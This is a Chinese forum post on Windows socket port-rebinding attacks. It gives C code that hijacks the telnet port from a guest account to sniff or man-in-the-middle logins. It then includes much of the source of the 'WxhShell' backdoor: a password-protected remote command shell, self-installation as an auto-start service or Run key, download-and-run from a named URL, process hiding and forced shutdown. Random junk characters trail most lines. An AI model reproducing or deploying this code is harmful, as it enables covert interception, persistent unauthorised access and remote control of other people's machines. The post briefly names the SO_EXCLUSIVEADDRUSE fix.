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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4tZnYGvqe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NTj:+z0  
, [ogh  
  saddr.sin_family = AF_INET; Er 4P  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =%wwepz6  
9lT6fW`v1Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xt{f+c@P  
n_8wYiBs(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?AL;m.X-@  
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  这意味着什么?意味着可以进行如下的攻击: p_K` `JE  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IV#kF}9$  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >Ei-Spy>Xl  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zmREzP#X  
k!%[W,*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Wa/&H$d\u@  
Iy2KOv@a5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =Wb!j18]  
d8Keyi8[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _t9@ vVQ  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y 093-  
>9h@Dj[|!  
  #include n'dxa<F2|  
  #include ]i}3`e?  
  #include ^t|CD|,K_O  
  #include    _~^JRC[q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p=tj>{  
  int main() ]#UyYgPk  
  { ;M<jQntqS{  
  WORD wVersionRequested; [c{/0*  
  DWORD ret; ~ jR:oN  
  WSADATA wsaData; x B%Felz  
  BOOL val; RV*7?y%3  
  SOCKADDR_IN saddr; ~y#jq,i/  
  SOCKADDR_IN scaddr; 4h|48</  
  int err; H;&^A5  
  SOCKET s; (#4   
  SOCKET sc; >bKN$,Qen  
  int caddsize; S\qYw(G  
  HANDLE mt; !,f#oCL  
  DWORD tid;   Jgf73IX[  
  wVersionRequested = MAKEWORD( 2, 2 ); ^>g7Kg"0  
  err = WSAStartup( wVersionRequested, &wsaData ); B&tU~  
  if ( err != 0 ) { -I#]#i@gX  
  printf("error!WSAStartup failed!\n"); pH?tr  
  return -1; QQ+?J~  
  } uC _&?  
  saddr.sin_family = AF_INET; mP1EWh|  
   7 TTU&7l~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Zcaec#  
1:.0^?Gz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l9U^[;D  
  saddr.sin_port = htons(23); 8P wobln  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^Fy{Q*p`(  
  { g$qNK`y  
  printf("error!socket failed!\n"); (6xrs_ea  
  return -1; OygR5s +  
  } R:= %gl!  
  val = TRUE; X[ERlw1q4Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 piZ0KA"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yQ33JQr  
  { 7=YjY)6r^  
  printf("error!setsockopt failed!\n"); {Jv m *   
  return -1; tgu}^TfKkg  
  } &^R0kCF`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^Vl{IsY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =Q % F~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,S|v>i, @  
QLq^[ >n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) we<m%pf  
  { TFX*kk &R  
  ret=GetLastError(); 9=(*#gRd  
  printf("error!bind failed!\n"); R$'0<y8E*]  
  return -1; #d+bld\  
  } dtK[H+  
  listen(s,2); n'<FH<x  
  while(1)  V~V_+  
  { +w~ <2Kt8  
  caddsize = sizeof(scaddr); :G&tM   
  //接受连接请求 [L.+N@M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z J:h]  
  if(sc!=INVALID_SOCKET) }L.xt88  
  { ] m$;ra]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SxC   
  if(mt==NULL) 3"ALohlL  
  { S#IlWU  
  printf("Thread Creat Failed!\n"); |hsg= LX  
  break; qpo3b7(N  
  } W^}fAcQKH  
  } OK{_WTCe>  
  CloseHandle(mt); ^Ge3"^x1  
  } =(ULfz[:  
  closesocket(s); <cQ)*~hN  
  WSACleanup(); #0K122oY  
  return 0; =!rdn#KH  
  }   W\JbX<mQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) ),9^hJ1+@  
  { RAw/Q$I  
  SOCKET ss = (SOCKET)lpParam; ^_6.*Mvx  
  SOCKET sc; SE%B&8ZD  
  unsigned char buf[4096]; *v+xKy#M  
  SOCKADDR_IN saddr; Nj8 `<Sl  
  long num; fq-zgqF<  
  DWORD val; JI TQ3UL:W  
  DWORD ret; "E4;M/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ElJM. a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T%GdvtmS>  
  saddr.sin_family = AF_INET; W(^R-&av  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X?m"86L  
  saddr.sin_port = htons(23);  T06BrX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W4 v/,g>  
  { 2=P.$Kx  
  printf("error!socket failed!\n"); Ne{2fV>8Ay  
  return -1; ZE+VLV v  
  } TQXp9juK  
  val = 100; S8 +GM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F:p'%#3rU/  
  { YVcFCl  
  ret = GetLastError(); gP&G63^  
  return -1; $ {Y? jJ  
  } uB;\nj5'D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a?_!  
  { uc>u=kEue  
  ret = GetLastError(); o>(I_3J[p  
  return -1; >A'Q9Tia;  
  } ~ ZkSYW<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^T(v4'7  
  { HF(pC7/a:  
  printf("error!socket connect failed!\n"); "])yV    
  closesocket(sc); -&L(0?*qo  
  closesocket(ss); Y9YE:s  
  return -1; /z'fFl^6O  
  } >!o||Yn  
  while(1) |f9fq~'1e  
  { yeI((2L@E2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2[^p6s[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [(*ObvEF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L?aaR %6#  
  num = recv(ss,buf,4096,0); >bgx o<  
  if(num>0) +(a}S$C  
  send(sc,buf,num,0); bSK> p3  
  else if(num==0) ^p@R!228  
  break; `5J`<BPs  
  num = recv(sc,buf,4096,0); l"T{!Oq  
  if(num>0) p#k>BHgnF  
  send(ss,buf,num,0); )GbVgYkk  
  else if(num==0) |.asg  
  break; u~JCMM$  
  } z}772hMB  
  closesocket(ss); WTlR>|Zdn  
  closesocket(sc); cJIA/HQe  
  return 0 ; P~6QRm  
  } Cob<N'.  
*x0nAo_n  
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========================================================== [/P}1 c[)U  
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下边附上一个代码,,WXhSHELL 4hymQ3 g  
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========================================================== .u<i<S  
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#include "stdafx.h" Q!%C:b  
;!k{{Xndd  
#include <stdio.h> Zze(Ik  
#include <string.h> != @U~X|cu  
#include <windows.h> CrTGC%w{=  
#include <winsock2.h> X+R?>xq{=h  
#include <winsvc.h> Xa=M{x  
#include <urlmon.h> lZ\Si  
QqF&lMH  
#pragma comment (lib, "Ws2_32.lib") E~b Yk6  
#pragma comment (lib, "urlmon.lib") YtQsSU  
vX9B^W||x  
#define MAX_USER   100 // 最大客户端连接数 &efwfnG<  
#define BUF_SOCK   200 // sock buffer %T_4n^beFQ  
#define KEY_BUFF   255 // 输入 buffer 31FQ=(K  
4R;6u[ a]u  
#define REBOOT     0   // 重启 `S&$y4|Vs  
#define SHUTDOWN   1   // 关机 {j0c)SETN  
+W xZB  
#define DEF_PORT   5000 // 监听端口 /d1 B-I  
~9tPT 0^+  
#define REG_LEN     16   // 注册表键长度 >$%rsc}^  
#define SVC_LEN     80   // NT服务名长度 2O*(F>>dT  
g_T[m*  
// 从dll定义API !)nA4l= S#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KX|7mr90K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ah|,`0dw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  {[i 37DN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wej'AR\NX  
SccaX P  
// wxhshell配置信息 |q( .j4[i  
struct WSCFG { Fq-A vU  
  int ws_port;         // 监听端口 cyQ&w>'  
  char ws_passstr[REG_LEN]; // 口令 mvCH$}w8&  
  int ws_autoins;       // 安装标记, 1=yes 0=no ['G@`e*\  
  char ws_regname[REG_LEN]; // 注册表键名 RV&=B%w+  
  char ws_svcname[REG_LEN]; // 服务名 Z2%ySO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O%Mi`\W@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e*zt;SR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BS6UXAf{|Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a$~pAy5C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7Zf * T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YpGG^;M$  
FA+'E  
}; 6dzY9   
-=+@/@nV  
// default Wxhshell configuration 65~X!90k  
struct WSCFG wscfg={DEF_PORT, ]:6M!+?(  
    "xuhuanlingzhe", pc=f,  
    1, ;;3oWsil}  
    "Wxhshell", &2,0?ra2&  
    "Wxhshell", +im>|  
            "WxhShell Service", q#mw#Uw-  
    "Wrsky Windows CmdShell Service",  MoFAQe  
    "Please Input Your Password: ", uxKj7!(#  
  1, 'on8r*  
  "http://www.wrsky.com/wxhshell.exe", 1 po.Cmx  
  "Wxhshell.exe" &rj)Oh2  
    }; $U]KIHb  
';\v:dP  
// 消息定义模块 Cd"cU~HAB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IGtpL[.;/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z<Pf[C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sgc pH  
char *msg_ws_ext="\n\rExit."; $YNWT\FE  
char *msg_ws_end="\n\rQuit."; "s!|8F6$  
char *msg_ws_boot="\n\rReboot...";  s_p\ bl.  
char *msg_ws_poff="\n\rShutdown..."; .wb[cCUQ  
char *msg_ws_down="\n\rSave to "; WcG}9)9  
KcK,%!>B  
char *msg_ws_err="\n\rErr!"; 9 :ubPqt  
char *msg_ws_ok="\n\rOK!"; ;Sqn w  
C=sEgtEI  
char ExeFile[MAX_PATH]; REj<2Lo  
int nUser = 0; }+F&=-P)  
HANDLE handles[MAX_USER]; ?4^8C4  
int OsIsNt; G|h@O'  
WkF60'Hf  
SERVICE_STATUS       serviceStatus; I_k!'zR[N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gpe/dfyJ9  
I\,m6 =q  
// 函数声明 wt(Hk6/B  
int Install(void); )v+R+3<  
int Uninstall(void); Z +vT76g3  
int DownloadFile(char *sURL, SOCKET wsh); \mIm}+!H  
int Boot(int flag); ]((Ix,ggP  
void HideProc(void); V(^aG=TaW:  
int GetOsVer(void); *2(W`m  
int Wxhshell(SOCKET wsl); TB@0j ;g  
void TalkWithClient(void *cs); VxKD>:3c  
int CmdShell(SOCKET sock); >B~vE2^tQ~  
int StartFromService(void); _^(}6o  
int StartWxhshell(LPSTR lpCmdLine);  el"XD"*  
K*]^0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |_ADG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4L`<xX;:{  
0]._|Ubn6)  
// 数据结构和表定义 5x} XiMM  
SERVICE_TABLE_ENTRY DispatchTable[] = }R\9y bv  
{ ET1>&l:.  
{wscfg.ws_svcname, NTServiceMain}, {f12&t  
{NULL, NULL} {$ (X,E  
}; jlA?JB  
[Up0<`Q{I_  
// 自我安装 V|njgcn d  
int Install(void) }iZ>Gm '5  
{ &|% F=/VU  
  char svExeFile[MAX_PATH]; *}n)KK7aT  
  HKEY key; 4P(ysTuM  
  strcpy(svExeFile,ExeFile); d ~`_;.z  
VY#:IE:T  
// 如果是win9x系统,修改注册表设为自启动 wRATe 0'  
if(!OsIsNt) { F\H^=P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KXS{@/"-B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -2\%?A6L  
  RegCloseKey(key); '(4#He?Gd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *GMs>" C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); </%n:<z4  
  RegCloseKey(key); =D"H0w <zw  
  return 0; |K jy4.2  
    } ENEnHu^  
  } tI&E@  
} zq?Iwyo  
else { )RFE< Qcj  
5YQq*$|'+  
// 如果是NT以上系统,安装为系统服务 w2mLL?P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5V($|3PI  
if (schSCManager!=0) Q~L"Mr8>V  
{ a BHV  
  SC_HANDLE schService = CreateService jl:dKL@  
  ( y9>?  
  schSCManager, potb6jc?  
  wscfg.ws_svcname, _ 1? PN8  
  wscfg.ws_svcdisp, (_Ld^ ^|  
  SERVICE_ALL_ACCESS, c/g"/ICs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vcsMU|GGh  
  SERVICE_AUTO_START, yQ3*~d~U|L  
  SERVICE_ERROR_NORMAL, +EnJyli  
  svExeFile, 3XeCaq'N  
  NULL, YnCWmlC  
  NULL, X`QfOs#\  
  NULL, 3cp"UU}.  
  NULL, L,QAE)S'a  
  NULL KT5"/fv  
  ); -XSu;'4q  
  if (schService!=0) r$7D;>*O{  
  { 7r_Y.  
  CloseServiceHandle(schService); ,uFdhA(i@'  
  CloseServiceHandle(schSCManager); 6}vPwI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SAa hkX  
  strcat(svExeFile,wscfg.ws_svcname); |0wUOs*5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9bDxml1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); - /s2'  
  RegCloseKey(key); p4|Zz:f  
  return 0; m>@$T x  
    } 4I[g{S nF  
  } #Moju  
  CloseServiceHandle(schSCManager); <.d0GD`^  
} T]5JsrT  
} IX /r  
9tnW:Nw~  
return 1; L;},1 \  
} ;tR,w   
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// 自我卸载 ,UdTUw~F  
int Uninstall(void) #nL&x3  
{ @Y#{[@Hp%  
  HKEY key; .<|7BHL  
~6nq$(#  
if(!OsIsNt) { XK)qDg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &oWdBna"_  
  RegDeleteValue(key,wscfg.ws_regname); /lQGFLZL  
  RegCloseKey(key); Xm7Nr#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BO b#9r  
  RegDeleteValue(key,wscfg.ws_regname); x. 7Ln9  
  RegCloseKey(key); :VPZGzK4  
  return 0; H\f.a R=  
  } HNA/LJl[VU  
} +fd^$Qd%K  
} 29?{QJb  
else { F3\'WQh  
mis cmD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Xi'y-cV ^  
if (schSCManager!=0) K h}Oiw  
{ A|#9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \e5bxc  
  if (schService!=0) h Znq\p~  
  { ?qviJDD|f  
  if(DeleteService(schService)!=0) { kzhncku  
  CloseServiceHandle(schService); qV$\.T>x  
  CloseServiceHandle(schSCManager); slV+2b  
  return 0; &46h!gW  
  } ) 5r*2I  
  CloseServiceHandle(schService); W9~vBU  
  }  _2VL%  
  CloseServiceHandle(schSCManager); <im BFw  
} /jQW4eW0  
} TOo0rcl  
wRL=9/5(8  
return 1; )W!8,e+%  
} )miY>7K  
[XWY-q#Gg  
// 从指定url下载文件 'W 5r(M4U  
int DownloadFile(char *sURL, SOCKET wsh)  T|NNd1>  
{ HTK79 +  
  HRESULT hr; iN0gvjZ  
char seps[]= "/"; dUOvv/,FZT  
char *token; ;7"}I  
char *file; JPQ[JD^]  
char myURL[MAX_PATH]; q1sK:)Hu+  
char myFILE[MAX_PATH]; L+7j4:$B8  
wt4uzg8  
strcpy(myURL,sURL); s5T$>+ a  
  token=strtok(myURL,seps); 5n,?>> p$  
  while(token!=NULL) i $H aE)qZ  
  { LuQ4TT  
    file=token; ]%jlaXb  
  token=strtok(NULL,seps); (.,`<rXw  
  } 6'UtB!gr  
w?6"`Mo  
GetCurrentDirectory(MAX_PATH,myFILE); [Q &{#%M  
strcat(myFILE, "\\"); @O#4duM4Qz  
strcat(myFILE, file); [H-,zY  
  send(wsh,myFILE,strlen(myFILE),0); Bi9b"*LN  
send(wsh,"...",3,0); 2mAXBqdm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DQM\Y{y|3  
  if(hr==S_OK) d?(#NP#;  
return 0; pIdJ+gu(s  
else /NCEZ@2BN,  
return 1; 'NF_!D  
',k0 _n?t  
} 9E^IEwq'  
:Xc%_&)  
// 系统电源模块 uj|{TV>v9  
int Boot(int flag) ]Ln2|$R  
{ 6>ZUx}vYj  
  HANDLE hToken; 2@ vSe  
  TOKEN_PRIVILEGES tkp; hM^#X,7  
!0:uM)_k  
  if(OsIsNt) { Uj&2'>MJ$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J >Zd0Dn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AVyO5>w  
    tkp.PrivilegeCount = 1; PV vNu5k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Reca5r1O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J<Di2b+  
if(flag==REBOOT) { iLw O4i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MkZm =Sf  
  return 0; u5^fiw]C  
} <CIJ g*  
else { @Y+YN;57  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r=6-kC!T9  
  return 0; P.mz$M  
} |r5 np  
  } kx8\]'  
  else { rLO1Sv  
if(flag==REBOOT) { WCT}OiLsL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FI++A`  
  return 0; _cdrz)T  
} Xwy0dXko  
else { 9 lE[oAC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  f.acH]p  
  return 0; 9,\b$?9  
} g*69TqO^  
} Y`jvza%  
Xdj` $/RI  
return 1; XB*)d 9'8  
} 1o\P7P Le  
,>lOmyh  
// win9x进程隐藏模块 Rhh5r0 \5  
void HideProc(void) "&*O7cs$pA  
{ S~L$sqt  
K|nh`r   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ! iuDmL  
  if ( hKernel != NULL ) ]V*s-och'  
  { (UWWULV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6Mu_9UAl`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zg1=g_xY  
    FreeLibrary(hKernel); 9TRS#iVL+*  
  } .lnyn|MVb  
- ;1'{v  
return; o?(({HH  
} X!Ag7^E  
{`,dWjy{%  
// 获取操作系统版本 ^\=<geEj  
int GetOsVer(void) &nkYJi(!  
{ $SAq/VHI1]  
  OSVERSIONINFO winfo; KvENH=oh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QND{3Q  
  GetVersionEx(&winfo); 2F9Gx;}t5=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) " &2Kvsz  
  return 1; )H@"S]?7i"  
  else Kn-cwz5  
  return 0; o %GVg  
} r4&g~+ck  
iAD'MB  
// 客户端句柄模块 ZL/iX~}a'  
int Wxhshell(SOCKET wsl) #1fT\aP  
{ "Bl ]_YPv  
  SOCKET wsh; }e$^v*16  
  struct sockaddr_in client; /+^7lQo\]  
  DWORD myID; SFhi]48&V  
JSz;>  
  while(nUser<MAX_USER) %N5gQXg  
{ B(tLV9B3Q  
  int nSize=sizeof(client); eS(hLXE!7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Bgb~Tz'  
  if(wsh==INVALID_SOCKET) return 1; c;siMWw;  
L#U-d zy\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,U`:IP/L  
if(handles[nUser]==0) P5$d#Y(=  
  closesocket(wsh); \dvzL(,  
else \S #Mc  
  nUser++; & Xh8j^p'  
  } WX.6|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p;8I@~dh  
ivTx6-]  
  return 0; =NJ:%kvF  
} r 0m A  
,uz+/K%OA5  
// 关闭 socket 2ed4xh V  
void CloseIt(SOCKET wsh) T''PzY!Qf  
{ [l~Gwaul>  
closesocket(wsh); >~%!#,C(|U  
nUser--; sA^_I6>M"  
ExitThread(0); w4:|Z@I  
} ,orq&#*Wd  
Ug}dw a  
// 客户端请求句柄 Oe#*-  
void TalkWithClient(void *cs) d}d1]@Y\  
{ F7o#KN*.]  
6Bv!t2  
  SOCKET wsh=(SOCKET)cs; k[_)5@2  
  char pwd[SVC_LEN]; sGBm[lplz  
  char cmd[KEY_BUFF]; aC!e#(q  
char chr[1]; VIIBw  
int i,j; FJI%+$]  
_ aJo7  
  while (nUser < MAX_USER) { fRcs@yZnS  
ZnrsJ1f:  
if(wscfg.ws_passstr) { K[,d9j`^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nky%Eb[\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pn?,56SD=  
  //ZeroMemory(pwd,KEY_BUFF); Fa"/p_1  
      i=0; d17RJW%A  
  while(i<SVC_LEN) { st7\k]J\  
w(,K  
  // 设置超时 YGdzA]3>  
  fd_set FdRead; h4iz(*  
  struct timeval TimeOut; vHydqFi9  
  FD_ZERO(&FdRead); 8D H~~by  
  FD_SET(wsh,&FdRead); `/e EdqT  
  TimeOut.tv_sec=8; MBIlt 1P  
  TimeOut.tv_usec=0; a+-X\qN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vk1E!T9X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "e-RV  
},]G +L;R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >b1#dEY  
  pwd=chr[0]; 8*bEsc|  
  if(chr[0]==0xd || chr[0]==0xa) { 8\lRP,-  
  pwd=0; w'r?)WW$  
  break; `GpOS_;  
  } H{d;, KfX  
  i++; qH=<8Iu  
    } q,Nhfo(  
 fOUW{s  
  // 如果是非法用户,关闭 socket 15l{gbCW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); swTur  
} o5(~nQ  
cWU9mzsE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G~+BO'U9'G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <i$ud&D  
wCitQ0?  
while(1) { >WZ_) `R  
o,q47W=7$  
  ZeroMemory(cmd,KEY_BUFF); T?4I\SG  
e[($rsx  
      // 自动支持客户端 telnet标准   |19zjhl  
  j=0; 6rll0c~  
  while(j<KEY_BUFF) { 9j8<Fs0M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H[DBL  
  cmd[j]=chr[0]; +EOd9.X\~  
  if(chr[0]==0xa || chr[0]==0xd) { |=rb#z&  
  cmd[j]=0; DkA@KS1Dq  
  break; 2FxrjA  
  } sQ aP:@  
  j++; 8q/3}AnI  
    } U3tA"X.K  
R^f-j-$o]  
  // 下载文件 84f~.45  
  if(strstr(cmd,"http://")) { y?-zQs0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (X?et &  
  if(DownloadFile(cmd,wsh)) -L6V)aK&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6mml96(  
  else JW2~ G!@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #\T5r*W  
  } B.Y8O^rx  
  else { $gPR3*0  
Naa "^  
    switch(cmd[0]) { \(4kEB2s$  
  Ap)pOD7  
  // 帮助 qZB}}pM#  
  case '?': { QT)5-Jy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :(TOtrK@  
    break; B 4RP~^  
  } XdV(=PS!a@  
  // 安装 N6<G`k,  
  case 'i': { 6483v'  
    if(Install()) d#cEAy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nJr:U2d  
    else S7kZpD $  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f2,\B6+  
    break; w(cl,W/w  
    } uD8,E!\  
  // 卸载 E,gpi  
  case 'r': { _J ZlXY  
    if(Uninstall()) #7BX,jvn>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3aERfIJyE  
    else Scz/2vNi`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vcz?;lg  
    break; }WM!e"  
    } YJqbA?i  
  // 显示 wxhshell 所在路径 Cp!Qd e  
  case 'p': { 0`~#H1TK  
    char svExeFile[MAX_PATH]; (>M@Ukam:  
    strcpy(svExeFile,"\n\r"); 5hg ^K^ZZ  
      strcat(svExeFile,ExeFile); IRY/0v  
        send(wsh,svExeFile,strlen(svExeFile),0); -,pw[R  
    break; x2$Y"b?vz  
    } 2|:x_rcj  
  // 重启 t<H@c9{;*  
  case 'b': { ]]!&>tOlI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CMviR<.  
    if(Boot(REBOOT)) t(r}jU=qw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p)YI8nW  
    else { $Y=xu2u)  
    closesocket(wsh); . yN.  
    ExitThread(0); b X'.hHR  
    } 7Ug^aA  
    break; mj|TWDcj+  
    } *jrQ-'<T  
  // 关机 vQsI^p  
  case 'd': { AB[#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7CV}QV}G  
    if(Boot(SHUTDOWN)) qN@0k>11?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;,Xp/  
    else { I*OJPFZ^4  
    closesocket(wsh); /A"UV\H`f  
